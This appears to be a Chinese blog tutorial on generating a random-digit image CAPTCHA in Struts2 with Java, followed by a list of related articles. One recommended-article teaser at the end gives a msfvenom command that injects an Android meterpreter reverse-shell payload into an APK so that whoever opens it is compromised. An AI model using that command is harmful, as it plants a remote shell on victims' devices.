一.创建RandomNum类

  1: import java.awt.Color;
  2: import java.awt.Font;
  3: import java.awt.Graphics;
  4: import java.awt.image.BufferedImage;
  5: import java.io.ByteArrayInputStream;
  6: import java.io.ByteArrayOutputStream;
  7: import java.io.IOException;
  8: import java.util.Random;
  9: import javax.imageio.ImageIO;
 10: import javax.imageio.stream.ImageOutputStream;
 11:
 12: public class RandomNumUtil {
 13:  private ByteArrayInputStream image; //字节流输出图像
 14:  private String str; //随机数组成的字符串
 15:
 16:  public void setImage(ByteArrayInputStream image) {
 17:   this.image = image;
 18:  }
 19:
 20:  public void setStr(String str) {
 21:   this.str = str;
 22:  }
 23:
 24:  private RandomNumUtil(){
 25:   init();//初始化属性
 26:  }
 27:  /*
 28:   * 取得RandomNumUtil实例
 29:   */
 30:  public static RandomNumUtil Instance() {
 31:   return new RandomNumUtil();
 32:  }
 33:  /*
 34:   * 取得验证码图片
 35:   */
 36:  public ByteArrayInputStream getImage() {
 37:   return image;
 38:  }
 39:  /*
 40:   * 取得图片的验证码
 41:   */
 42:  public String getStr() {
 43:   return str;
 44:  }
 45:  /*
 46:   * init()方法,为字节流赋值
 47:   */
 48:  private void init(){
 49:   //在内存中创建图像
 50:   int width=85,height=20;
 51:   BufferedImage image=new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);
 52:   //获取图形上下文
 53:   Graphics g=image.getGraphics();
 54:   //生成随机类
 55:   Random random=new Random();
 56:   //设定背景色
 57:   g.setColor(getRandColor(200,250));
 58:   g.fillRect(0, 0, width, height);
 59:   //设定字体
 60:   g.setFont(new Font("Times New Roman",Font.PLAIN,18));
 61:   //随机产生155条干扰线,使图像中的认证码不易被其它程序探测到
 62:   g.setColor(getRandColor(160, 200));
 63:   for (int i = 0; i < 155; i++) {
 64:    int x=random.nextInt(width);
 65:    int y=random.nextInt(height);
 66:    int x1=random.nextInt(12);
 67:    int y1=random.nextInt(12);
 68:    g.drawLine(x, y, x+x1, y+y1);
 69:   }
 70:   //取随机产生的认证码(6位数)
 71:   String sRand="";
 72:   for (int i = 0; i < 6; i++) {
 73:    String rand=String.valueOf(random.nextInt(10));
 74:    sRand+=rand;
 75:    //将认证码显示到图像中
 76:    g.setColor(new Color(20+random.nextInt(110),20+random.nextInt(110),20+random.nextInt(110)));
 77:    //
 78:    g.drawString(rand, 13*i+6, 16);
 79:   }
 80:    //赋值验证码
 81:    this.str=sRand;
 82:    //图像生效
 83:    g.dispose();
 84:    ByteArrayInputStream input=null;
 85:    ByteArrayOutputStream output=new ByteArrayOutputStream();
 86:    try {
 87:     ImageOutputStream imageOut=ImageIO.createImageOutputStream(output);
 88:     ImageIO.write(image, "JPEG", imageOut);
 89:     imageOut.close();
 90:     input=new ByteArrayInputStream(output.toByteArray());
 91:    } catch (IOException e) {
 92:     System.out.println("验证码图片产生出现错误:"+e.toString());
 93:     e.printStackTrace();
 94:    }
 95:    this.image=input;
 96:  }
 97:
 98:  /*
 99:   * 给定范围获得随机颜色
100:   */
101:  private Color getRandColor(int fc,int bc) {
102:   Random random = new Random();
103:   if(fc>255){
104:    fc=255;
105:   }
106:   if(bc>255){
107:    bc=255;
108:   }
109:   int r=fc+random.nextInt(bc-fc);
110:   int g=fc+random.nextInt(bc-fc);
111:   int b=fc+random.nextInt(bc-fc);
112:   return new Color(r, g, b);
113:  }
114: }
二.创建RandomAction
获取图像流,并放到sessio中
  1: package com.action;
  2:
  3: import java.io.ByteArrayInputStream;
  4:
  5: import com.opensymphony.xwork2.ActionContext;
  6: import com.opensymphony.xwork2.ActionSupport;
  7: import com.util.RandomNumUtil;
  8:
  9: public class RandomAction extends ActionSupport{
 10:  private ByteArrayInputStream inputStream;
 11:
 12:  public ByteArrayInputStream getInputStream() {
 13:   return inputStream;
 14:  }
 15:
 16:  public void setInputStream(ByteArrayInputStream inputStream) {
 17:   this.inputStream = inputStream;
 18:  }
 19:
 20:  public String execute() throws Exception{
 21:
 22:   RandomNumUtil rand=RandomNumUtil.Instance();
 23:   this.setInputStream(rand.getImage());
 24:   ActionContext.getContext().getSession().put("random", rand.getStr());// 取得随机字符串放入HttpSession
 25:
 26:   return "success";
 27:  }
 28: }
 29: 
三.配置Struts.xml
  1: <package name="random" extends="struts-default">
  2: 		<!-- Random验证码 -->
  3: 		<action name="rand" class="com.action.RandomAction">
  4: 			<result type="stream"> <!-- 以流类型返回结果 -->
  5: 				<param name="contentType">image/jpeg</param>
  6: 				<param name="inputName">inputStream</param>
  7: 			</result>
  8: 		</action>
  9: 	</package>
四.在登录页面添加
  1: <s:textfield label="验证码"  name="rand" size="6" />
  2:       <image src="rand.action"
  3:         onclick="changeValidateCode(this)" title="点击图片刷新验证码" />

五.在loginAction中添加验证码验证
  1: String random = (String) ActionContext.getContext().getSession().get("random");
  2:   if (random.equals(rand)) {
  3:
  4:   } else {
  5:
  6:   }

Struts2中实现随机验证码的更多相关文章

  1. Django中生成随机验证码(pillow模块的使用)

    Django中生成随机验证码 1.html中a标签的设置 <img src="/get_validcode_img/" alt=""> 2.view ...

  2. Struts2中的图片验证码

    1.Struts中建一个action <action name="Code" class="LoginAction" method="code& ...

  3. Django框架登录验证及产生随机验证码的实例

    1:views视图代码 # 登录验证 def login(request): # 使用ajax请求可以使用判断 # if request.is_ajax(): if request.method == ...

  4. 图片验证码(Struts2中使用)

    写在前面: 最近在项目中做了一个登录页面,用到了图片验证码的功能,所以记录一下.方便之后再有用到,直接拿来用即可.其实图片验证码的生成都是有固定步骤的,网上也有很多的例子,有的时候,如果不想深究,都是 ...

  5. struts2生成随机验证码图片

    之前想做一个随机验证码的功能,自己也搜索了一下别人写的代码,然后自己重新用struts2实现了一下,现在将我自己实现代码贴出来!大家有什么意见都可以指出来! 首先是生成随机验证码图片的action: ...

  6. day 51 随机验证码, 验证登陆 ,以及 装饰器在函数中的应用

    前端很好的session 的例子 (随机验证码登陆) https://github.com/Endless-Clould/qianduan 参考: 验证码登录 https://www.cnblogs. ...

  7. 在mvc中实现图片验证码的刷新

    首先,在项目模型(Model)层中建立一个生成图片验证码的类ValidationCodeHelper,代码如下: public class ValidationCodeHelper { //用户存取验 ...

  8. Java生成随机验证码

    package com.tg.snail.core.util; import java.awt.Color; import java.awt.Font; import java.awt.Graphic ...

  9. Struts2中基于Annotation的细粒度权限控制

    Struts2中基于Annotation的细粒度权限控制 2009-10-19 14:25:53|  分类: Struts2 |  标签: |字号大中小 订阅     权限控制是保护系统安全运行很重要 ...

随机推荐

  1. 大话python面向对象

    前言 师门中每逢成人礼就要下山历练一番,小掌门今年成人礼,下山也有一段时日.可恰逢年底,今年百姓收成都不是很好,各大店铺也很少招人,再加上学艺不精,小掌门无事可做就只能饿肚子了.后来小掌门饿的实在不行 ...

  2. DAY5-小别-2018-1-15

    有两天没有写了,前天考完试出去浪了,惭愧自己没有学习:昨天,启程回家看完了循环内容的视频,晚上十点半火车到站,没抽出时间写了,还看了<黑客帝国>,有点小感触,人工智能的时代即将到来,我们该 ...

  3. Python编程笔记 - 列表

    这篇文章开始介绍Python中的容器.Python容器包括列表.元组.集合与字典.这些数据结构中都涉及到很多的方法,这里对比较常用的一些方法进行介绍,不用每个方法都记住,熟悉常用的即可. 首先,我们先 ...

  4. C#学习笔记-适配器模式

    什么是适配器模式? 适配器模式(Adapter):将一个类的接口转换成客户希望的另外一个接口. Adapter模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作. 什么时候运用适配器模式? ...

  5. WebAPI 实现前后端分离

    随着Web技术的发展,现在各种框架,前端的,后端的,数不胜数.全栈工程师的压力越来越大. 现在的前端的框架,既可以做各种Web,又可以做各种APP,前端框架更新换代越来越快,越来越多. 传统的模式 前 ...

  6. gitignore样例解析

    # 这是注释行 -- 被忽略 *.a # 忽略所有以 .a 为扩展名的文件 !lib.a # 但是lib.a 文件或目录不要忽略,即使前面设置了对*.a的忽略 /TODO # 只忽略此目录下的TODO ...

  7. 如何删除chrome地址栏里面曾经输错的地址

    在chrome浏览器的地址栏输入你想删除的网址的部分字幕,比如,在地址栏输入form,然后用键盘上的方向键定位到你想删除的那个错误的地址,如下图所示   然后在键盘上按 shift+del 组合键将其 ...

  8. Es6主要特征详解

    一.简介 本文将对es6的最佳特性进行分享和讲解.es6也称ES6/ECMAScript2015,在2015年诞生,但是目前实际开发中还很多用的是ES5(2009年),原因就是很多的浏览器不支持新的语 ...

  9. JS 引擎的执行机制

    关于JS引擎的执行机制,首先牢记2点: .JS是单线程语言 JS的Event Loop是JS的执行机制.深入了解JS的执行,就等于深入了解JS里的event loop 关于单线程相对还比较好理解,就是 ...

  10. msf向存在漏洞的apk注入payload

    命令:msfvenom -x /路径/apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 只要别人一打开这个被注入payload后的软件就 ...